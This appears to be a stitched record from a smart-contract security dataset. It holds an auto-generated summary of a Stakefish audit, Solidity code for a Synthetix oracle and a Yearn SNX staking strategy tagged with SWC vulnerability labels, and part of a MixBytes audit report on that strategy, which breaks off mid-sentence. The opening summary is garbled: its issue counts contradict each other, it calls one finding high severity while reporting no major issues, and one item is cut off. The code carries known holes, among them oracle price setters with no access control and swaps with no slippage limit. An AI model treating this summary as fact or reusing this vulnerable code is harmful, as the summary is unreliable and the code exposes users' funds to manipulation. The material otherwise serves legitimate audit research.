Issues Count of Minor/Moderate/Major/Critical Minor: 4 Moderate: 2 Major: 0 Critical: 0 Minor Issues 2.a Problem: A01: Transaction Order Dependence (git-commit-id d91928f3a270f6115831fe3a21a69eb98bf57b26) 2.b Fix: The order of transactions should be enforced by the contract. 2.a Problem: A04: Vulnerability in StakefishServicesContract.receive() (git-commit-id d91928f3a270f6115831fe3a21a69eb98bf57b26) 2.b Fix: The receive() function should check that the sender is the expected operator. 2.a Problem: A05: Initialization of the logic contract of StakefishServicesContract (git-commit-id d91928f3a270f6115831fe3a21a69eb98bf57b26) 2.b Fix: The logic contract should be initialized in the constructor of StakefishServicesContract. 2.a Problem: B07: Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 1 Major: 0 Critical: 0 Moderate: A01: Transaction Order Dependence Problem: TheapproveandapproveWithdrawalmethods ofStakefishServicesContract.sol suffer from the same race-condition as ERC20. Fix: ImplementincrementApprovalanddecrementApprovalmethods instead ofapprove. If Alice useddecreaseAllowancein the above scenario, then Bob could still front-run Alice and withdraw his allowance before it is decremented, but not more than that. decrementApprovalcould either revert when the new amount would underflow or set the new amount to zero instead. Observations: No observations. Conclusion: The audit found one moderate issue with the Stakefish Services Contract. The issue was related to the transaction order dependence and a straightforward mitigation technique was recommended. Issues Count of Minor/Moderate/Major/Critical: None Observations: 1. The first option is still susceptible to a front-running scenario. 2. The second option avoids this scenario by enforcing a decrementation. 3. Possibility of disproportional payments after services end is a high severity issue. 4. As mitigation against the above scenario, the operator chooses a long waiting time before depositors can callendOperatorServices successfully. 5. Users should be informed transparently about this scenario. 6. Add a slippage protection for withdrawals. Conclusion: The second option avoids the front-running scenario by enforcing a decrementation. As mitigation against the disproportional payments after services end, the operator chooses a long waiting time before depositors can callendOperatorServices successfully. Additionally, users should be informed transparently about this scenario and a slippage protection for withdrawals should be added.
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeERC20, SafeMath, IERC20, Address } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/Math.sol"; interface IER { function updateRates( bytes32[] calldata currencyKeys, uint256[] calldata newRates, uint256 timeSent ) external returns (bool); } interface ISynthetix { function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint256); } contract SnxOracle { IER public exchangeRate; ISynthetix public synthetix; constructor(address _exchangeRates) public { exchangeRate = IER(_exchangeRates); //synthetix = ISynthetix(_synthetix); } function updateAllPrices() external { uint256 _count = synthetix.availableSynthCount(); bytes32[] memory keys = synthetix.availableCurrencyKeys(); } function updateSnxPrice(uint256 _price) external { bytes32[] memory keys = new bytes32[](1); keys[0] = "SNX"; uint256[] memory rates = new uint256[](1); rates[0] = _price; exchangeRate.updateRates(keys, rates, now); } function updateBTCPrice(uint256 _price) external { bytes32[] memory keys = new bytes32[](1); keys[0] = "sBTC"; uint256[] memory rates = new uint256[](1); rates[0] = _price; exchangeRate.updateRates(keys, rates, now); } function updateETHPrice(uint256 _price) external { bytes32[] memory keys = new bytes32[](1); keys[0] = "sETH"; uint256[] memory rates = new uint256[](1); rates[0] = _price; exchangeRate.updateRates(keys, rates, now); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseStrategy, VaultAPI} from "@yearnvaults/contracts/BaseStrategy.sol"; import { SafeERC20, SafeMath, IERC20, Address } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "../interfaces/ISynthetix.sol"; import "../interfaces/IIssuer.sol"; import "../interfaces/IFeePool.sol"; import "../interfaces/IReadProxy.sol"; import "../interfaces/IAddressResolver.sol"; import "../interfaces/IExchangeRates.sol"; import "../interfaces/IRewardEscrowV2.sol"; import "../interfaces/IVault.sol"; import "../interfaces/ISushiRouter.sol"; contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; uint256 public constant MIN_ISSUE = 50 * 1e18; uint256 public ratioThreshold = 1e15; uint256 public constant MAX_RATIO = type(uint256).max; uint256 public constant MAX_BPS = 10_000; address public constant susd = address(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51); IReadProxy public constant readProxy = IReadProxy(address(0x4E3b31eB0E5CB73641EE1E65E7dCEFe520bA3ef2)); address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); ISushiRouter public constant sushiswap = ISushiRouter(address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F)); ISushiRouter public constant uniswap = ISushiRouter(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); ISushiRouter public router = ISushiRouter(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); uint256 public targetRatioMultiplier = 12_500; IVault public susdVault; // to keep track of next entry to vest uint256 public entryIDIndex = 0; // entryIDs of escrow rewards claimed and to be claimed by the Strategy uint256[] public entryIDs; bytes32 private constant CONTRACT_SYNTHETIX = "Synthetix"; bytes32 private constant CONTRACT_EXRATES = "ExchangeRates"; bytes32 private constant CONTRACT_REWARDESCROW_V2 = "RewardEscrowV2"; bytes32 private constant CONTRACT_ISSUER = "Issuer"; bytes32 private constant CONTRACT_FEEPOOL = "FeePool"; // ********************** EVENTS ********************** event RepayDebt(uint256 repaidAmount, uint256 debtAfterRepayment); // ********************** CONSTRUCTOR ********************** constructor(address _vault, address _susdVault) public BaseStrategy(_vault) { susdVault = IVault(_susdVault); // max time between harvest to collect rewards from each epoch maxReportDelay = 7 * 24 * 3600; // To deposit sUSD in the sUSD vault IERC20(susd).safeApprove(address(_susdVault), type(uint256).max); // To exchange sUSD for SNX IERC20(susd).safeApprove(address(uniswap), type(uint256).max); IERC20(susd).safeApprove(address(sushiswap), type(uint256).max); // To exchange SNX for sUSD IERC20(want).safeApprove(address(uniswap), type(uint256).max); IERC20(want).safeApprove(address(sushiswap), type(uint256).max); } // ********************** SETTERS ********************** function setRouter(uint256 _isSushi) external onlyAuthorized { if (_isSushi == uint256(1)) { router = sushiswap; } else if (_isSushi == uint256(0)) { router = uniswap; } else { revert("!invalid-arg. Use 1 for sushi. 0 for uni"); } } function setTargetRatioMultiplier(uint256 _targetRatioMultiplier) external { require( msg.sender == governance() || msg.sender == VaultAPI(address(vault)).management() ); targetRatioMultiplier = _targetRatioMultiplier; } function setRatioThreshold(uint256 _ratioThreshold) external onlyStrategist { ratioThreshold = _ratioThreshold; } // This method is used to migrate the vault where we deposit the sUSD for yield. It should be rarely used function migrateSusdVault(IVault newSusdVault, uint256 maxLoss) external onlyGovernance { // we tolerate losses to avoid being locked in the vault if things don't work out // governance must take this into account before migrating susdVault.withdraw( susdVault.balanceOf(address(this)), address(this), maxLoss ); IERC20(susd).safeApprove(address(susdVault), 0); susdVault = newSusdVault; IERC20(susd).safeApprove(address(newSusdVault), type(uint256).max); newSusdVault.deposit(); } // ********************** MANUAL ********************** function manuallyRepayDebt(uint256 amount) external onlyAuthorized { // To be used in case of emergencies, to operate the vault manually repayDebt(amount); } // ********************** YEARN STRATEGY ********************** function name() external view override returns (string memory) { return "StrategySynthetixSusdMinter"; } function estimatedTotalAssets() public view override returns (uint256) { uint256 totalAssets = balanceOfWant().add(estimatedProfit()).add( sUSDToWant(balanceOfSusdInVault().add(balanceOfSusd())) ); uint256 totalLiabilities = sUSDToWant(balanceOfDebt()); // NOTE: the ternary operator is required because debt can be higher than assets // due to i) increase in debt or ii) losses in invested assets return totalAssets > totalLiabilities ? totalAssets.sub(totalLiabilities) : 0; } function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { uint256 totalDebt = vault.strategies(address(this)).totalDebt; claimProfits(); vestNextRewardsEntry(); uint256 totalAssetsAfterProfit = estimatedTotalAssets(); _profit = totalAssetsAfterProfit > totalDebt ? totalAssetsAfterProfit.sub(totalDebt) : 0; // if the vault is claiming repayment of debt if (_debtOutstanding > 0) { uint256 _amountFreed = 0; (_amountFreed, _loss) = liquidatePosition(_debtOutstanding); _debtPayment = Math.min(_debtOutstanding, _amountFreed); if (_loss > 0) { _profit = 0; } } } function adjustPosition(uint256 _debtOutstanding) internal override { if (emergencyExit) { return; } if (_debtOutstanding >= balanceOfWant()) { return; } // compare current ratio with target ratio uint256 _currentRatio = getCurrentRatio(); // NOTE: target debt ratio is over 20% to maximize APY uint256 _targetRatio = getTargetRatio(); uint256 _issuanceRatio = getIssuanceRatio(); // burn debt (sUSD) if the ratio is too high // collateralisation_ratio = debt / collat if ( _currentRatio > _targetRatio && _currentRatio.sub(_targetRatio) >= ratioThreshold ) { // NOTE: min threshold to act on differences = 1e16 (ratioThreshold) // current debt ratio might be unhealthy // we need to repay some debt to get back to the optimal range uint256 _debtToRepay = balanceOfDebt().sub(getTargetDebt(_collateral())); repayDebt(_debtToRepay); } else if ( _issuanceRatio > _currentRatio && _issuanceRatio.sub(_currentRatio) >= ratioThreshold ) { // NOTE: min threshold to act on differences = 1e16 (ratioThreshold) // if there is enough collateral to issue Synth, issue it // this should put the c-ratio around 500% (i.e. debt ratio around 20%) uint256 _maxSynths = _synthetix().maxIssuableSynths(address(this)); uint256 _debtBalance = balanceOfDebt(); // only issue new debt if it is going to be used if ( _maxSynths > _debtBalance && _maxSynths.sub(_debtBalance) >= MIN_ISSUE ) { _synthetix().issueMaxSynths(); } } // If there is susd in the strategy, send it to the susd vault // We do MIN_ISSUE instead of 0 since it might be dust if (balanceOfSusd() >= MIN_ISSUE) { susdVault.deposit(); } } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { // if unlocked collateral balance is not enough, repay debt to unlock // enough `want` to repay debt. // unlocked collateral includes profit just claimed in `prepareReturn` // SWC-Code With No Effects: L253 uint256 unlockedWant = _unlockedWant(); if (unlockedWant < _amountNeeded) { // NOTE: we use _unlockedWant because `want` balance is the total amount of staked + unstaked want (SNX) reduceLockedCollateral(_amountNeeded.sub(unlockedWant)); } // Fetch the unlocked collateral for a second time // to update after repaying debt // SWC-Code With No Effects: L262 unlockedWant = _unlockedWant(); // if not enough want in balance, it means the strategy lost `want` if (_amountNeeded > unlockedWant) { _liquidatedAmount = unlockedWant; _loss = _amountNeeded.sub(unlockedWant); } else { _liquidatedAmount = _amountNeeded; } } function prepareMigration(address _newStrategy) internal override { liquidatePosition(vault.strategies(address(this)).totalDebt); } // ********************** OPERATIONS FUNCTIONS ********************** function reduceLockedCollateral(uint256 amountToFree) internal { // amountToFree cannot be higher than the amount that is unlockable amountToFree = Math.min(amountToFree, _unlockableWant()); if (amountToFree == 0) { return; } uint256 _currentDebt = balanceOfDebt(); uint256 _newCollateral = _lockedCollateral().sub(amountToFree); uint256 _targetDebt = _newCollateral.mul(getIssuanceRatio()).div(1e18); // NOTE: _newCollateral will always be < _lockedCollateral() so _targetDebt will always be < _currentDebt uint256 _amountToRepay = _currentDebt.sub(_targetDebt); repayDebt(_amountToRepay); } function repayDebt(uint256 amountToRepay) internal { // debt can grow over the amount of sUSD minted (see Synthetix docs) // if that happens, we might not have enough sUSD to repay debt // if we withdraw in this situation, we need to sell `want` to repay debt and would have losses // this can only be done if c-Ratio is over 272% (otherwise there is not enough unlocked) if (amountToRepay == 0) { return; } uint256 repaidAmount = 0; uint256 _debtBalance = balanceOfDebt(); // max amount to be repaid is the total balanceOfDebt amountToRepay = Math.min(_debtBalance, amountToRepay); // in case the strategy is going to repay almost all debt, it should repay the total amount of debt if ( _debtBalance > amountToRepay && _debtBalance.sub(amountToRepay) <= MIN_ISSUE ) { amountToRepay = _debtBalance; } uint256 currentSusdBalance = balanceOfSusd(); if (amountToRepay > currentSusdBalance) { // there is not enough balance in strategy to repay debt // we withdraw from susdvault uint256 _withdrawAmount = amountToRepay.sub(currentSusdBalance); withdrawFromSUSDVault(_withdrawAmount); // we fetch sUSD balance for a second time and check if now there is enough currentSusdBalance = balanceOfSusd(); if (amountToRepay > currentSusdBalance) { // there was not enough balance in strategy and sUSDvault to repay debt // debt is too high to be repaid using current funds, the strategy should: // 1. repay max amount of debt // 2. sell unlocked want to buy required sUSD to pay remaining debt // 3. repay debt if (currentSusdBalance > 0) { // we burn the full sUSD balance to unlock `want` (SNX) in order to sell if (burnSusd(currentSusdBalance)) { // subject to minimumStakePeriod // if successful burnt, update remaining amountToRepay // repaidAmount is previous debt minus current debt repaidAmount = _debtBalance.sub(balanceOfDebt()); } } // buy enough sUSD to repay outstanding debt, selling `want` (SNX) // or maximum sUSD with `want` available uint256 amountToBuy = Math.min( _getSusdForWant(_unlockedWant()), amountToRepay.sub(repaidAmount) ); if (amountToBuy > 0) { buySusdWithWant(amountToBuy); } // amountToRepay should equal balanceOfSusd() (we just bought `amountToRepay` sUSD) } } // repay sUSD debt by burning the synth if (amountToRepay > repaidAmount) { burnSusd(amountToRepay.sub(repaidAmount)); // this method is subject to minimumStakePeriod (see Synthetix docs) repaidAmount = amountToRepay; } emit RepayDebt(repaidAmount, _debtBalance.sub(repaidAmount)); } // two profit sources: Synthetix protocol and Yearn sUSD Vault function claimProfits() internal returns (bool) { uint256 feesAvailable; uint256 rewardsAvailable; (feesAvailable, rewardsAvailable) = _getFeesAvailable(); if (feesAvailable > 0 || rewardsAvailable > 0) { // claim fees from Synthetix // claim fees (in sUSD) and rewards (in want (SNX)) // Synthetix protocol requires issuers to have a c-ratio above 500% // to be able to claim fees so we need to burn some sUSD // NOTE: we use issuanceRatio because that is what will put us on 500% c-ratio (i.e. 20% debt ratio) uint256 _targetDebt = getIssuanceRatio().mul(wantToSUSD(_collateral())).div(1e18); uint256 _balanceOfDebt = balanceOfDebt(); bool claim = true; if (_balanceOfDebt > _targetDebt) { uint256 _requiredPayment = _balanceOfDebt.sub(_targetDebt); uint256 _maxCash = balanceOfSusd().add(balanceOfSusdInVault()).mul(50).div( 100 ); // only claim rewards if the required payment to burn debt up to c-ratio 500% // is less than 50% of available cash (both in strategy and in sUSD vault) claim = _requiredPayment <= _maxCash; } if (claim) { // we need to burn sUSD to target burnSusdToTarget(); // if a vesting entry is going to be created, // we save its ID to keep track of its vesting if (rewardsAvailable > 0) { entryIDs.push(_rewardEscrowV2().nextEntryId()); } // claimFees() will claim both sUSD fees and put SNX rewards in the escrow (in the prev. saved entry) _feePool().claimFees(); } } // claim profits from Yearn sUSD Vault if (balanceOfDebt() < balanceOfSusdInVault()) { // balance uint256 _valueToWithdraw = balanceOfSusdInVault().sub(balanceOfDebt()); withdrawFromSUSDVault(_valueToWithdraw); } // sell profits in sUSD for want (SNX) using router uint256 _balance = balanceOfSusd(); if (_balance > 0) { buyWantWithSusd(_balance); } } function vestNextRewardsEntry() internal { // Synthetix protocol sends SNX staking rewards to a escrow contract that keeps them 52 weeks, until they vest // each time we claim the SNX rewards, a VestingEntry is created in the escrow contract for the amount that was owed // we need to keep track of those VestingEntries to know when they vest and claim them // after they vest and we claim them, we will receive them in our balance (strategy's balance) if (entryIDs.length == 0) { return; } // The strategy keeps track of the next VestingEntry expected to vest and only when it has vested, it checks the next one // this works because the VestingEntries record has been saved in chronological order and they will vest in chronological order too IRewardEscrowV2 re = _rewardEscrowV2(); uint256 nextEntryID = entryIDs[entryIDIndex]; uint256 _claimable = re.getVestingEntryClaimable(address(this), nextEntryID); // check if we need to vest if (_claimable == 0) { return; } // vest entryID uint256[] memory params = new uint256[](1); params[0] = nextEntryID; re.vest(params); // we update the nextEntryID to point to the next VestingEntry entryIDIndex++; } function tendTrigger(uint256 callCost) public view override returns (bool) { uint256 _currentRatio = getCurrentRatio(); // debt / collateral uint256 _targetRatio = getTargetRatio(); // max debt ratio. over this number, we consider debt unhealthy uint256 _issuanceRatio = getIssuanceRatio(); // preferred debt ratio by Synthetix (See protocol docs) if (_currentRatio < _issuanceRatio) { // strategy needs to take more debt // only return true if the difference is greater than a threshold return _issuanceRatio.sub(_currentRatio) >= ratioThreshold; } else if (_currentRatio <= _targetRatio) { // strategy is in optimal range (a bit undercollateralised) return false; } else if (_currentRatio > _targetRatio) { // the strategy needs to repay debt to exit the danger zone // only return true if the difference is greater than a threshold return _currentRatio.sub(_targetRatio) >= ratioThreshold; } return false; } function protectedTokens() internal view override returns (address[] memory) {} // ********************** SUPPORT FUNCTIONS ********************** function burnSusd(uint256 _amount) internal returns (bool) { // returns false if unsuccessful if (_issuer().canBurnSynths(address(this))) { _synthetix().burnSynths(_amount); return true; } else { return false; } } function burnSusdToTarget() internal returns (uint256) { // we use this method to be able to avoid the waiting period // (see Synthetix Protocol) // it burns enough Synths to get back to 500% c-ratio // we need to have enough sUSD to burn to target uint256 _debtBalance = balanceOfDebt(); // NOTE: amount of synths at 500% c-ratio (with current collateral) uint256 _maxSynths = _synthetix().maxIssuableSynths(address(this)); if (_debtBalance <= _maxSynths) { // we are over the 500% c-ratio (i.e. below 20% debt ratio), we don't need to burn sUSD return 0; } uint256 _amountToBurn = _debtBalance.sub(_maxSynths); uint256 _balance = balanceOfSusd(); if (_balance < _amountToBurn) { // if we do not have enough in balance, we withdraw funds from sUSD vault withdrawFromSUSDVault(_amountToBurn.sub(_balance)); } if (_amountToBurn > 0) _synthetix().burnSynthsToTarget(); return _amountToBurn; } function withdrawFromSUSDVault(uint256 _amount) internal { // Don't leave less than MIN_ISSUE sUSD in the vault if ( _amount > balanceOfSusdInVault() || balanceOfSusdInVault().sub(_amount) <= MIN_ISSUE ) { susdVault.withdraw(); } else { uint256 _sharesToWithdraw = _amount.mul(1e18).div(susdVault.pricePerShare()); susdVault.withdraw(_sharesToWithdraw); } } function buyWantWithSusd(uint256 _amount) internal { if (_amount == 0) { return; } address[] memory path = new address[](3); path[0] = address(susd); path[1] = address(WETH); path[2] = address(want); router.swapExactTokensForTokens(_amount, 0, path, address(this), now); } function buySusdWithWant(uint256 _amount) internal { if (_amount == 0) { return; } address[] memory path = new address[](3); path[0] = address(want); path[1] = address(WETH); path[2] = address(susd); // we use swapTokensForExactTokens because we need an exact sUSD amount router.swapTokensForExactTokens( _amount, type(uint256).max, path, address(this), now ); } // ********************** CALCS ********************** function estimatedProfit() public view returns (uint256) { uint256 availableFees; // in sUSD (availableFees, ) = _getFeesAvailable(); return sUSDToWant(availableFees); } function getTargetDebt(uint256 _targetCollateral) internal returns (uint256) { uint256 _targetRatio = getTargetRatio(); uint256 _collateralInSUSD = wantToSUSD(_targetCollateral); return _targetRatio.mul(_collateralInSUSD).div(1e18); } function sUSDToWant(uint256 _amount) internal view returns (uint256) { if (_amount == 0) { return 0; } return _amount.mul(1e18).div(_exchangeRates().rateForCurrency("SNX")); } function wantToSUSD(uint256 _amount) internal view returns (uint256) { if (_amount == 0) { return 0; } return _amount.mul(_exchangeRates().rateForCurrency("SNX")).div(1e18); } function _getSusdForWant(uint256 _wantAmount) internal view returns (uint256) { if (_wantAmount == 0) { return 0; } address[] memory path = new address[](3); path[0] = address(want); path[1] = address(WETH); path[2] = address(susd); uint256[] memory amounts = router.getAmountsOut(_wantAmount, path); return amounts[amounts.length - 1]; } // ********************** BALANCES & RATIOS ********************** function _lockedCollateral() internal view returns (uint256) { // collateral includes `want` balance (both locked and unlocked) AND escrowed balance uint256 _collateral = _synthetix().collateral(address(this)); return _collateral.sub(_unlockedWant()); } // amount of `want` (SNX) that can be transferred, sold, ... function _unlockedWant() internal view returns (uint256) { return _synthetix().transferableSynthetix(address(this)); } function _unlockableWant() internal view returns (uint256) { // collateral includes escrowed SNX, we may not be able to unlock the full // we can only unlock this by repaying debt return balanceOfWant().sub(_unlockedWant()); } function _collateral() internal view returns (uint256) { return _synthetix().collateral(address(this)); } // returns fees and rewards function _getFeesAvailable() internal view returns (uint256, uint256) { // fees in sUSD // rewards in `want` (SNX) return _feePool().feesAvailable(address(this)); } function getCurrentRatio() public view returns (uint256) { // ratio = debt / collateral // i.e. ratio is 0 if debt is 0 // NOTE: collateral includes SNX in account + escrowed balance return _issuer().collateralisationRatio(address(this)); } function getIssuanceRatio() public view returns (uint256) { return _issuer().issuanceRatio(); } function getTargetRatio() public view returns (uint256) { return getIssuanceRatio().mul(targetRatioMultiplier).div(MAX_BPS); } function balanceOfEscrowedWant() public view returns (uint256) { return _rewardEscrowV2().balanceOf(address(this)); } function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfSusd() public view returns (uint256) { return IERC20(susd).balanceOf(address(this)); } function balanceOfDebt() public view returns (uint256) { return _synthetix().debtBalanceOf(address(this), "sUSD"); } function balanceOfSusdInVault() public view returns (uint256) { return susdVault .balanceOf(address(this)) .mul(susdVault.pricePerShare()) .div(1e18); } // ********************** ADDRESS RESOLVER SHORTCUTS ********************** function resolver() public view returns (IAddressResolver) { return IAddressResolver(readProxy.target()); } function _synthetix() internal view returns (ISynthetix) { return ISynthetix(resolver().getAddress(CONTRACT_SYNTHETIX)); } function _feePool() internal view returns (IFeePool) { return IFeePool(resolver().getAddress(CONTRACT_FEEPOOL)); } function _issuer() internal view returns (IIssuer) { return IIssuer(resolver().getAddress(CONTRACT_ISSUER)); } function _exchangeRates() internal view returns (IExchangeRates) { return IExchangeRates(resolver().getAddress(CONTRACT_EXRATES)); } function _rewardEscrowV2() internal view returns (IRewardEscrowV2) { return IRewardEscrowV2(resolver().getAddress(CONTRACT_REWARDESCROW_V2)); } }
YEARN SNX STAKING SMART CONTRACT AUDIT May 24, 2021 MixBytes()CONTENTS 1.INTRODUCTION...................................................................1 DISCLAIMER....................................................................1 PROJECT OVERVIEW..............................................................1 SECURITY ASSESSMENT METHODOLOGY...............................................2 EXECUTIVE SUMMARY.............................................................4 PROJECT DASHBOARD.............................................................4 2.FINDINGS REPORT................................................................6 2.1.CRITICAL..................................................................6 2.2.MAJOR.....................................................................6 MJR-1 "Sandwich attack" on user withdrawal..................................6 2.3.WARNING...................................................................8 WRN-1 The approval value obtained in the constructor may not be enough for the long term of the smart contract.........................................8 WRN-2 Default max_loss on underlying vault..................................9 WRN-3 Handling losses from underlying vault................................10 WRN-4 Probably incorrect using of safeApprove ...............................11 WRN-5 Protected tokens.....................................................12 2.4.COMMENTS.................................................................13 CMT-1 Excessive Gas usage..................................................13 CMT-2 Require without message..............................................14 CMT-3 Possible gas saving..................................................15 CMT-4 Unnecessary gas usage................................................16 3.ABOUT MIXBYTES................................................................17 1.INTRODUCTION 1.1DISCLAIMER The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Yearn. If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden. 1.2PROJECT OVERVIEW Part of Yearn Strategy Mix. 11.3SECURITY ASSESSMENT METHODOLOGY At least 2 auditors are involved in the work on the audit who check the provided source code independently of each other in accordance with the methodology described below: 01"Blind" audit includes: >Manual code study >"Reverse" research and study of the architecture of the code based on the source code only Stage goal: Building an independent view of the project's architecture Finding logical flaws 02Checking the code against the checklist of known vulnerabilities includes: >Manual code check for vulnerabilities from the company's internal checklist >The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code Stage goal: Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flashloan attacks, etc.) 03Checking the logic, architecture of the security model for compliance with the desired model, which includes: >Detailed study of the project documentation >Examining contracts tests >Examining comments in code >Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit Stage goal: Detection of inconsistencies with the desired model 04Consolidation of the reports from all auditors into one common interim report document >Cross check: each auditor reviews the reports of the others >Discussion of the found issues by the auditors >Formation of a general (merged) report Stage goal: Re-check all the problems for relevance and correctness of the threat level Provide the client with an interim report 05Bug fixing & re-check. >Client fixes or comments on every issue >Upon completion of the bug fixing, the auditors double-check each fix and set the statuses with a link to the fix Stage goal: Preparation of the final code version with all the fixes 06Preparation of the final audit report and delivery to the customer. 2Findings discovered during the audit are classified as follows: FINDINGS SEVERITY BREAKDOWN Level Description Required action CriticalBugs leading to assets theft, fund access locking, or any other loss funds to be transferred to any partyImmediate action to fix issue Major Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement.Implement fix as soon as possible WarningBugs that can break the intended contract logic or expose it to DoS attacksTake into consideration and implement fix in certain period CommentOther issues and recommendations reported to/acknowledged by the teamTake into consideration Based on the feedback received from the Customer's team regarding the list of findings discovered by the Contractor, they are assigned the following statuses: Status Description Fixed Recommended fixes have been made to the project code and no longer affect its security. AcknowledgedThe project team is aware of this finding. Recommendations for this finding are planned to be resolved in the future. This finding does not affect the overall safety of the project. No issue Finding does not affect the overall safety of the project and does not violate the logic of its work. 31.4EXECUTIVE SUMMARY The main purpose of the project is to give users to add additional ability to use the Synthetix protocol managed by strategy. 1.5PROJECT DASHBOARD Client Yearn Audit name SNX Staking Initial version 91b839df4a350d80cb583795bccafe0836fdb732 Final version - SLOC 529 Date 2021-05-04 - 2021-05-24 Auditors engaged 2 auditors FILES LISTING Strategy.sol Strategy.sol FINDINGS SUMMARY Level Amount Critical 0 Major 1 Warning 5 Comment 4 4CONCLUSION Smart contract has been audited and several suspicious places were found. During audit no critical issues were identified. One issue was marked major, as it might lead to unintended behavior. Several issues were marked as warnings and comments. After working on audit report all issues were acknowledged by client or declared as no issue, according to client's commentary. Thus contracts assumed as secure to use according to our security criteria. 52.FINDINGS REPORT 2.1CRITICAL Not Found 2.2MAJOR MJR-1 "Sandwich attack" on user withdrawal File Strategy.sol SeverityMajor Status Acknowledged DESCRIPTION In some rare conditions, the strategy is using AMM DEX to Strategy.sol#L348 inside of the user-handled transaction. This is vulnerable to the "sandwich attack". RECOMMENDATION Although vulnerability conditions are rare and hard to exploit, it is recommended to protect AMM DEX swap operations with slippage technique. CLIENT'S COMMENTARY 1. Sandwich attack on user withdrawal: The strategy is subject to this attack only when withdrawing 100% of want from it (unlocking 100% of collateral and repaying 100% of debt). And only in the rare condition of losses. When winding down, the strategy needs to repay full amount of debt to unlock collateral. This means that if debt is higher than cash (i.e. the vault in which we invested incurred in losses OR debt increased faster for any reason), the strategy will need to sell want to be able to repay full debt and unlock 100% of collateral. This means that it will incur in losses. This ONLY happens when 100% of want is withdrawed from the strategy (either migration, debtRatio == 0, or the last user withdrawal causing a 100% withdrawal from vault). The attack is only possible if 1. debt > cash 62. 100%-of-want withdrawal 3. someone is watching for that to happen and sandwich attack us The preferred solution is to implement a slippage protection, even if this situation is rare. However slippage protection should not be implemented in Strategy level but in something like the ySwaps (being already built by Yearn) , and all the strategies should use it. Not only for withdrawal but also for harvesting. This technique would be using a price oracle and revert if DEX price is different than price oracle. The agreed upon way to act is: don't redeploy current debt-taker strategies until a ySwaps with slippage protection is deployed. once it is available, redeploy with new ySwaps as the way to swap for new debt-taker strategies: only implement prepareMigration if the debt is transferrable (e.g. Maker), otherwise, strategies should be revoked and a new strategy added the regular way If affected strategies need to be 100% liquidated in the meanwhile, act with caution. There are ways to mitigate even in the event of an attacker ready and waiting for us to wind down an strategy (which should not be the case) 72.3WARNING WRN-1 The approval value obtained in the constructor may not be enough for the long term of the smart contract File Strategy.sol SeverityWarning Status Acknowledged DESCRIPTION At lines: Strategy.sol#L79-L85 the smart contract constructor call safeApproveA() functions for different tokens. But in the process of work, the obtained value will only decrease. If this value decreases to zero, then the tokens will remain locked in the contract forever. RECOMMENDATION It is recommended to add a function to increase the value of approvals. CLIENT'S COMMENTARY It is a super long term thing. Approvals are 2 ** 256 - 1 (10e77) and its use is triggered mainly by yearn. 8WRN-2 Default max_loss on underlying vault File Strategy.sol SeverityWarning Status Acknowledged DESCRIPTION At line: Strategy.sol#L512 the withdrawFromSUSDVault() function is not specifying max_loss parameter. This can lead to unavailability of withdrawals. RECOMMENDATION To implement function to change max_loss parameter by strategist. CLIENT'S COMMENTARY In case yvSUSD is in losses, we will need to use migrateSusdVault to unlock invested sUSD. 9WRN-3 Handling losses from underlying vault File Strategy.sol SeverityWarning Status Acknowledged DESCRIPTION The underlying SUSD vault may suffer a permanent loss. This will lead to a loss of corresponding SNX. However, such loss is not fairly distributed across vault users. On the first withdrawals no loss will be reported but on a later withdrawal attempts the strategy will report major losses to any users. RECOMMENDATION To implement some mechanics to fairly redistribute a losses. CLIENT'S COMMENTARY If the underlying sUSD vault incurs in losses, they are compensated with profits and not accounted as losses but considered not realised. This means that if a user is withdrawing 100% of strategy assets, they may have losses. 1 0WRN-4 Probably incorrect using of safeApprove File Strategy.sol SeverityWarning Status No issue DESCRIPTION At line Strategy.sol#L129 we see the single safeApprove without setting to zero. RECOMMENDATION Set approvement to zero before new approving IERC20(susd).safeApprove(address(newSusdVault), 0); CLIENT'S COMMENTARY SafeApprove requires starting from 0 allowance. As this method is only to migrate to new sUSD vaults, it should always be 0. 1 1WRN-5 Protected tokens File Strategy.sol SeverityWarning Status No issue DESCRIPTION At line: Strategy.sol#L470-L475 we can't see any protected tokens. RECOMMENDATION We recommended to add protected tokens in the array. CLIENT'S COMMENTARY This was intended. Since SNX rewards are staked for a year, we wanted to have options to move tokens if the strategy was decomissioned. 1 22.4COMMENTS CMT-1 Excessive Gas usage File Strategy.sol SeverityComment Status Acknowledged DESCRIPTION Second method _unlockedWant() call at line Strategy.sol#L260 is redundant and cost extra Gas. Also, every access to synthetix invokes resolver() to get Synthetix router. This value is static and doesn't require dynamic call. RECOMMENDATION It is recommended to put second _unlockedWant call under preceding if block after reduceLockedCollateral L255. It is recomended to replace method resolver with variable (see README.md). constructor(IAddressResolver _snxResolver) public { synthetixResolver = _snxResolver; } CLIENT'S COMMENTARY Regarding _unlockedWant, impact is minor as _amountNeeded is 99% of times 